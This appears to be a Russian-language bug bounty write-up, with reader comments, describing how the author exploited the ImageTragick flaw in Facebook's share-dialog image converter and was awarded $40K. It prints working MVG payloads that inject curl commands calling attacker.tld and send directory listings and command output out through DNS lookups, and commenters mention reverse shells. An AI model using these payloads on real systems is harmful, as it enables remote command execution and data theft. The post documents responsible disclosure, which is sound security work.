Я уверен, что все вы слышали про ImageMagick и его «Трагедию». Эта уязвимость была найдена в конце апреля 2016 года и в следствии того, что многие плагины, обрабатывающие изображения, использовали библиотеку ImageMagick, данная проблема охватывала большое количество систем. Так как были свидетельства о том, что информация о данной уязвимости была доступна не только исследователям, которые её обнаружили, и разработчикам ImageMagick'а, но и третьим лицам, 3 мая 2016 года информация о уязвимости (без PoC) была раскрыта для всего мира. Многие исследователи воспользовались данной информацией и нашли уязвимости в приложениях, которые не были обновлены вовремя. К сожалению, я не был среди этих счастливчиков. Но это было в мае:)
Однажды в субботу, за окном был питерский октябрь, я тестировал один большой сервис — не Facebook. Но один из редиректов привёл меня на него — это был диалог «Поделиться на Facebook»:
https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H
Этот диалог могли видеть многие из вас. Если мы приглядимся, можно увидеть, что параметр `picture` является ссылкой на изображение. Но такого изображения нету в содержании страницы. Например:
https://www.google.com/images/errors/robot.png
Превращается во что-то такое:
https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb
Первое, о чём я подумал, это об SSRF-уязвимости в том или ином виде. Но тесты показали, что урл из этого параметра запрашивается из подсетки 31.13.97.* с юзерагентом facebookexternalhit/1.1. Например:
$ nc -lvvv 8088
Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted
GET /exploit.png?ddfadsvdbv HTTP/1.1
User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Accept: */*
Accept-Encoding: deflate, gzip
Host: attacker.tld
Connection: keep-alive
И всё это похоже на нормальный запрос из изолированной подсетки, которая специально для этого предназначена.
Но в любом случае приложение производит преобразование изображений каким-то конвертером и я стал копать в этом направлении. После нескольких тестов (один из моих любимых, который принёс мне много денег — парсинг и преобразование SVG картинок, которые на самом деле XML файлы, чтобы получить SSRF с сервера, который производит конвертацию, и который далеко не всегда такой же, как север с которого было запрошено изображение или, если мне совсем повезло, получить XXE) я был весьма расстроен. Ни один из них не сработал.
ImageTragick был последней надеждой. Хотя у меня уже надежды не было. Если вы не очень знакомы с подробностями уязвимости и её эксплуатацией или ленивы — здесь вы можете найти готовые PoC.
Вот так выглядит самый простой пэйлоад exploit.png:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`' pop graphic-context
Барабанная дробь… и ничего не произошло:
$ nc -lvvv 80
Facepalm и Okay.
— Но что если… если это всего лишь ограничения firewall'а? — спросил я сам себя.
Ок. Это действительно случается довольно часто, когда компания блокирует обычные http-запросы, но не блокирует запросы DNS. Что ж, попробуем другой пэйлоад:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`' pop graphic-context
Надо иметь ввиду, что в данном случае атакующий использует DNS сервер, который пишет логи запросов к нему. И в результате получаем:
IP: 31.13.*.*; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A
Whois IP говорит нам:
netname: LLA1-11 descr: Facebook
Вечеринка начинается :) Таким образом приложение работает следующим образом:
- Получает параметр `picture` и запрашивает его — это корректный запрос и в нём уязвимостей нет
- Полученная картинка передаётся конвертеру, который использовал уязвимую версию библиотеки ImageMagick
Буду честен, я пытался найти обычный путь эксплуатации этого http-запроса, но быстрые тесты показали, что, либо все исходящие порты закрыты, либо я бы потратил слишком много времени для того, чтобы найти хотя бы один открытый. И я пошёл другим путём, которого было достаточно для подтверждения эксплуатации.
Пэйлоад:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`' pop graphic-context
Результат:
NAME: home.attacker.tld, Type: A NAME: boot.attacker.tld, Type: 28 NAME: dev.attacker.tld, Type: 28 NAME: bin.attacker.tld, Type: A … …
И так далее…
Команда bash `id` возвратила:
NAME: uid=99(nobody).attacker.tld., Type: 28 NAME: groups=99(nobody).attacker.tld., Type: A NAME: gid=99(nobody).attacker.tld., Type: A
Для подтверждения того, что эксплоит работает, я отправил команде безопасности Facebook вывод команды `cat /proc/version`, который не буду показывать здесь.
В соответствии с Политикой Ответственного Распространения Фэйсбука глубже я уже не копал.
Уже после того, как я отправил репорт, мы с Нилом из команды безопасности Facebook'а обсудили, что вывод `cat /proc/version | base64` мог бы быть гораздо более удобен для DNS запроса, а более глубокое исследование показало, что в техниках DNS туннелирования обычно используется base32 (подробнее здесь: https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152).
Я рад быть одним из тех, кто взломал Facebook.
Вот и всё:)
Timeline:
16 Oct 2016, 03:31 am: Первый репорт
18 Oct 2016, 05:35 pm: Нил из команды безопасности запросил PoC, который я использовал во время исследования
18 Oct 2016, 08:40 pm: Я послал PoC и сопроводил его дополнительной информацией
18 Oct 2016, 10:31 pm: Уязвимость подтверждена Нилом
19 Oct 2016, 12:26 am: Нил уведомил, что фикс в процессе выкладки
19 Oct 2016, 02:28 am: Нил сообщил, что уязвимость исправлена
19 Oct 2016, 07:49 am: Я подтвердил, что уязвимость исправлена и запросил процедуру раскрытия
22 Oct 2016, 03:34 am: Нил ответил о процедуре и времени раскрытия
28 Oct 2016, 03:04 pm: Назначено вознаграждение ($40K)
16 Dec 2016: Раскрытие разрешено.
Комментарии (15)
Itachi261092
24.01.2017 11:43+2Почему то в чужих постах всё выглядит настолько просто и понятно, что постоянно хочется тоже найти какой нибудь баг на фейсбуках-вконтактах и получить свои $40к
Но у меня никогда не получалось найти ни одной зацепки. Хотя я, наверное, не очень то и пытался =( комрады, подскажите, куда копать? Как искать такие зацепки, которые могут привести к такой уязвимости?bubuq
24.01.2017 12:16+4Перевод: комрады, дайте мне $40K, жалко вам, что ли
Itachi261092
24.01.2017 12:34+1я написал «как искать зацепки» а не «покажите мне готовые зацепки». Так что скорее уж «Научите меня зарабатывать $40к» но не так как Вы выразились.
4lemon
26.01.2017 12:51+1Можно начать вот с этого: https://hackerone.com/hactivity
Чтение отчётов вызовет много вопросов, поиск ответов на которые может дать знания. Для начала и этого хватит.
zhigalin
24.01.2017 13:14https://news.yandex.ru/yandsearch?cl4url=www.ntv.ru/novosti/1748177/&lang=ru&from=rub_portal&lr=112809&msid=1484903978.84258.22881.30323&mlid=1484903611.th_computers.29f0d099
Автор, да вы теперь знамениты :)
З.Ы. Забавно, я узнал об ImageTragik посмотрев DNS записи домена istheinternetonfire.com4lemon
26.01.2017 12:49Есть немного. Не то чтобы я этого очень хотел, но фарш не возможно провернуть назад:)
ilyaplot
Получается, можно было слить исходники и исполняемые файлы через dns запросы? Чем еще опасна уязвимость? Насколько я понял, прав особо ни на что не хватило бы?
mayorovp
Нельзя слить так просто слить исходники. По крайней мере, пока не будет найдено эксплойта для повышения привелегий и способа вызвать его однострочником на bash. И даже после этого не факт что исходники окажутся на том же сервере. И даже если они там найдутся — через DNS-тоннель они будут передаваться долго...
4lemon
Ну всё что доступно на чтение от nobody — можно было забрать. Реверсшел с его правами (если бы удалось найти открытый порт). Но по понятным причинам (Facebook policy), я этого не проверял.